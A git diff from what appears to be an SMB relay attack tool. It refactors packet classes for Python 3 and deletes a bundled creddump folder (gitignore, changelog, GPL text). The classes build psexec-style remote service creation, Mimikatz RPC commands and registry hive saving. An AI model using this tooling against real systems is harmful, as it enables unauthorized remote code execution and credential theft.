fields = OrderedDict([ fields = OrderedDict([
@@ -705,8 +719,8 @@ class SMBDCEPacketData(Packet):
Data1= str(self.fields["Version"])+str(self.fields["VersionLow"])+str(self.fields["PacketType"])+str(self.fields["PacketFlag"])+str(self.fields["DataRepresent"])+str(self.fields["FragLen"])+str(self.fields["AuthLen"])+str(self.fields["CallID"])+str(self.fields["AllocHint"])+str(self.fields["ContextID"])+str(self.fields["Opnum"])+str(self.fields["Data"]) Data1= str(self.fields["Version"])+str(self.fields["VersionLow"])+str(self.fields["PacketType"])+str(self.fields["PacketFlag"])+str(self.fields["DataRepresent"])+str(self.fields["FragLen"])+str(self.fields["AuthLen"])+str(self.fields["CallID"])+str(self.fields["AllocHint"])+str(self.fields["ContextID"])+str(self.fields["Opnum"])+str(self.fields["Data"])
self.fields["FragLen"] = struct.pack("<h",len(Data1)) self.fields["FragLen"] = StructWithLenPython2or3("<h",len(Data1))
self.fields["AllocHint"] = struct.pack("<i",len(str(self.fields["Data"]))) self.fields["AllocHint"] = StructWithLenPython2or3("<i",len(str(self.fields["Data"])))
###Psexec ###Psexec
class SMBDCESVCCTLOpenManagerW(Packet): class SMBDCESVCCTLOpenManagerW(Packet):
@@ -728,9 +742,9 @@ class SMBDCESVCCTLOpenManagerW(Packet):
else: else:
self.fields["MachineNameNull"] = "\x00\x00" self.fields["MachineNameNull"] = "\x00\x00"
## Convert to UTF-16LE ## Convert to UTF-16LE
self.fields["MaxCount"] = struct.pack("<i",len(str(self.fields["MachineName"]))+1) self.fields["MaxCount"] = StructWithLenPython2or3("<i",len(str(self.fields["MachineName"]))+1)
self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["MachineName"]))+1) self.fields["ActualCount"] = StructWithLenPython2or3("<i",len(str(self.fields["MachineName"]))+1)
self.fields["MachineName"] = self.fields["MachineName"].encode('utf-16le') self.fields["MachineName"] = self.fields["MachineName"].encode('utf-16le').decode('latin-1')
class SMBDCESVCCTLCreateService(Packet): class SMBDCESVCCTLCreateService(Packet):
fields = OrderedDict([ fields = OrderedDict([
@@ -776,17 +790,17 @@ class SMBDCESVCCTLCreateService(Packet):
self.fields["LoadOrderGroup"] = "\x00\x00" self.fields["LoadOrderGroup"] = "\x00\x00"
## Calculate first ## Calculate first
self.fields["BinPathMaxCount"] = struct.pack("<i",len(BinDataLen)+1) self.fields["BinPathMaxCount"] = StructWithLenPython2or3("<i",len(BinDataLen)+1)
self.fields["BinPathActualCount"] = struct.pack("<i",len(BinDataLen)+1) self.fields["BinPathActualCount"] = StructWithLenPython2or3("<i",len(BinDataLen)+1)
self.fields["MaxCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1) self.fields["MaxCount"] = StructWithLenPython2or3("<i",len(str(self.fields["ServiceName"]))+1)
self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1) self.fields["ActualCount"] = StructWithLenPython2or3("<i",len(str(self.fields["ServiceName"]))+1)
self.fields["MaxCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1) self.fields["MaxCountRefID"] = StructWithLenPython2or3("<i",len(str(self.fields["DisplayNameID"]))+1)
self.fields["ActualCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1) self.fields["ActualCountRefID"] = StructWithLenPython2or3("<i",len(str(self.fields["DisplayNameID"]))+1)
## Then convert to UTF-16LE ## Then convert to UTF-16LE
self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le') self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le').decode('latin-1')
self.fields["DisplayNameID"] = self.fields["DisplayNameID"].encode('utf-16le') self.fields["DisplayNameID"] = self.fields["DisplayNameID"].encode('utf-16le').decode('latin-1')
self.fields["BinCMD"] = self.fields["BinCMD"].encode('utf-16le') self.fields["BinCMD"] = self.fields["BinCMD"].encode('utf-16le').decode('latin-1')
class SMBDCESVCCTLOpenService(Packet): class SMBDCESVCCTLOpenService(Packet):
fields = OrderedDict([ fields = OrderedDict([
@@ -806,10 +820,10 @@ class SMBDCESVCCTLOpenService(Packet):
else: else:
self.fields["ServiceNameNull"] = "\x00\x00" self.fields["ServiceNameNull"] = "\x00\x00"
## Calculate first ## Calculate first
self.fields["MaxCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1) self.fields["MaxCount"] = StructWithLenPython2or3("<i",len(str(self.fields["ServiceName"]))+1)
self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1) self.fields["ActualCount"] = StructWithLenPython2or3("<i",len(str(self.fields["ServiceName"]))+1)
## Then convert to UTF-16LE ## Then convert to UTF-16LE
self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le') self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le').decode('latin-1')
class SMBDCESVCCTLStartService(Packet): class SMBDCESVCCTLStartService(Packet):
fields = OrderedDict([ fields = OrderedDict([
@@ -848,9 +862,9 @@ class SMBDCEMimiKatzRPCCommand(Packet):
]) ])
def calculate(self): def calculate(self):
self.fields["ContextHandleLen"] = struct.pack("<i",len(str(self.fields["CMD"]))+1) self.fields["ContextHandleLen"] = StructWithLenPython2or3("<i",len(str(self.fields["CMD"]))+1)
self.fields["ContextHandleLen2"] = struct.pack("<i",len(str(self.fields["CMD"]))+1) self.fields["ContextHandleLen2"] = StructWithLenPython2or3("<i",len(str(self.fields["CMD"]))+1)
self.fields["CMD"] = self.fields["CMD"].encode('utf-16le') self.fields["CMD"] = self.fields["CMD"].encode('utf-16le').decode('latin-1')
class OpenAndX(Packet): class OpenAndX(Packet):
@@ -875,7 +889,7 @@ class OpenAndX(Packet):
]) ])
def calculate(self): def calculate(self):
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Terminator"])+str(self.fields["File"])+str(self.fields["FileNull"]))) self.fields["Bcc"] = StructWithLenPython2or3("<h",len(str(self.fields["Terminator"])+str(self.fields["File"])+str(self.fields["FileNull"])))
class ReadRequest(Packet): class ReadRequest(Packet):
fields = OrderedDict([ fields = OrderedDict([
@@ -963,8 +977,8 @@ class DeleteFileRequest(Packet):
]) ])
def calculate(self): def calculate(self):
self.fields["File"] = self.fields["File"].encode('utf-16le') self.fields["File"] = self.fields["File"].encode('utf-16le').decode('latin-1')
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["BuffType"])+str(self.fields["File"])+str(self.fields["FileNull"]))) self.fields["Bcc"] = StructWithLenPython2or3("<h",len(str(self.fields["BuffType"])+str(self.fields["File"])+str(self.fields["FileNull"])))
class SMBEcho(Packet): class SMBEcho(Packet):
fields = OrderedDict([ fields = OrderedDict([
@@ -1012,13 +1026,13 @@ class SMBDCEWinRegOpenKey(Packet):
else: else:
self.fields["KeyTerminator"] = "\x00\x00" self.fields["KeyTerminator"] = "\x00\x00"
#Calc first. #Calc first.
self.fields["ActualKeyMaxSize"] = struct.pack("<i",len(str(self.fields["Key"]))+1) self.fields["ActualKeyMaxSize"] = StructWithLenPython2or3("<i",len(str(self.fields["Key"]))+1)
self.fields["ActualKeySize"] = struct.pack("<i",len(str(self.fields["Key"]))+1) self.fields["ActualKeySize"] = StructWithLenPython2or3("<i",len(str(self.fields["Key"]))+1)
#Convert to unicode. #Convert to unicode.
self.fields["Key"] = self.fields["Key"].encode('utf-16le') self.fields["Key"] = self.fields["Key"].encode('utf-16le').decode('latin-1')
#Recalculate again, in unicode this time. #Recalculate again, in unicode this time.
self.fields["KeySizeUnicode"] = struct.pack("<h",len(str(self.fields["Key"]))+2) self.fields["KeySizeUnicode"] = StructWithLenPython2or3("<h",len(str(self.fields["Key"]))+2)
self.fields["MaxKeySizeUnicode"] = struct.pack("<h",len(str(self.fields["Key"]))+2) self.fields["MaxKeySizeUnicode"] = StructWithLenPython2or3("<h",len(str(self.fields["Key"]))+2)
class SMBDCEWinRegQueryInfoKey(Packet): class SMBDCEWinRegQueryInfoKey(Packet):
@@ -1073,13 +1087,13 @@ class SMBDCEWinRegCreateKey(Packet):
else: else:
self.fields["KeyTerminator"] = "\x00\x00" self.fields["KeyTerminator"] = "\x00\x00"
#Calc first. #Calc first.
self.fields["ActualKeyMaxSize"] = struct.pack("<i",len(str(self.fields["KeyName"]))+1) self.fields["ActualKeyMaxSize"] = StructWithLenPython2or3("<i",len(str(self.fields["KeyName"]))+1)
self.fields["ActualKeySize"] = struct.pack("<i",len(str(self.fields["KeyName"]))+1) self.fields["ActualKeySize"] = StructWithLenPython2or3("<i",len(str(self.fields["KeyName"]))+1)
#Convert to unicode. #Convert to unicode.
self.fields["KeyName"] = self.fields["KeyName"].encode('utf-16le') self.fields["KeyName"] = self.fields["KeyName"].encode('utf-16le').decode('latin-1')
#Recalculate again, in unicode this time. #Recalculate again, in unicode this time.
self.fields["KeySizeUnicode"] = struct.pack("<h",len(str(self.fields["KeyName"]))+2) self.fields["KeySizeUnicode"] = StructWithLenPython2or3("<h",len(str(self.fields["KeyName"]))+2)
self.fields["MaxKeySizeUnicode"] = struct.pack("<h",len(str(self.fields["KeyName"]))+2) self.fields["MaxKeySizeUnicode"] = StructWithLenPython2or3("<h",len(str(self.fields["KeyName"]))+2)
class SMBDCEWinRegSaveKey(Packet): class SMBDCEWinRegSaveKey(Packet):
fields = OrderedDict([ fields = OrderedDict([
@@ -1102,12 +1116,10 @@ class SMBDCEWinRegSaveKey(Packet):
else: else:
self.fields["FileTerminator"] = "\x00\x00" self.fields["FileTerminator"] = "\x00\x00"
#Calc first. #Calc first.
self.fields["ActualFileMaxSize"] = struct.pack("<i",len(str(self.fields["File"]))+1) self.fields["ActualFileMaxSize"] = StructWithLenPython2or3("<i",len(str(self.fields["File"]))+1)
self.fields["ActualFileSize"] = struct.pack("<i",len(str(self.fields["File"]))+1) self.fields["ActualFileSize"] = StructWithLenPython2or3("<i",len(str(self.fields["File"]))+1)
#Convert to unicode. #Convert to unicode.
self.fields["File"] = self.fields["File"].encode('utf-16le') self.fields["File"] = self.fields["File"].encode('utf-16le').decode('latin-1')
#Recalculate again, in unicode this time. #Recalculate again, in unicode this time.
self.fields["FileSizeUnicode"] = struct.pack("<h",len(str(self.fields["File"]))+2) self.fields["FileSizeUnicode"] = StructWithLenPython2or3("<h",len(str(self.fields["File"]))+2)
self.fields["MaxFileSizeUnicode"] = struct.pack("<h",len(str(self.fields["File"]))+2) self.fields["MaxFileSizeUnicode"] = StructWithLenPython2or3("<h",len(str(self.fields["File"]))+2)

120
tools/MultiRelay/creddump/.gitignore vendored
View File

@@ -1,120 +0,0 @@
# Byte-compiled / optimized / DLL files
__pycache__/
*.py[cod]
*$py.class
# C extensions
*.so
# Distribution / packaging
.Python
build/
develop-eggs/
dist/
downloads/
eggs/
.eggs/
lib/
lib64/
parts/
sdist/
var/
wheels/
share/python-wheels/
*.egg-info/
.installed.cfg
*.egg
MANIFEST
# PyInstaller
# Usually these files are written by a python script from a template
# before PyInstaller builds the exe, so as to inject date/other infos into it.
*.manifest
*.spec
# Installer logs
pip-log.txt
pip-delete-this-directory.txt
# PyCharm
.idea
# Unit test / coverage reports
htmlcov/
.tox/
.nox/
.coverage
.coverage.*
.cache
nosetests.xml
coverage.xml
*.cover
.hypothesis/
.pytest_cache/
# Translations
*.mo
*.pot
# Django stuff:
*.log
local_settings.py
db.sqlite3
# Flask stuff:
instance/
.webassets-cache
# Scrapy stuff:
.scrapy
# Sphinx documentation
docs/_build/
# PyBuilder
target/
# Jupyter Notebook
.ipynb_checkpoints
# IPython
profile_default/
ipython_config.py
# pyenv
.python-version
# celery beat schedule file
celerybeat-schedule
# SageMath parsed files
*.sage.py
# Environments
.env
.venv
env/
venv/
ENV/
env.bak/
venv.bak/
# Spyder project settings
.spyderproject
.spyproject
# Rope project settings
.ropeproject
# mkdocs documentation
/site
# mypy
.mypy_cache/
.dmypy.json
dmypy.json
# Pyre type checker
.pyre/
.pylintrc

9
tools/MultiRelay/creddump/CHANGELOG
View File

@@ -1,9 +0,0 @@
Version: 0.3 Date: 8/1/2012
* Fixed LM and NTLM Hash Corruption issue. Thanks to Jonathan Claudius.
Closes Issue 3.
Version: 0.2 Date: 2/24/2011
* Fixed issue with wrong format specifier being used (L instead of I), which
caused creddump to fail on 64-bit systems.

674
tools/MultiRelay/creddump/COPYING
View File

@@ -1,674 +0,0 @@
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
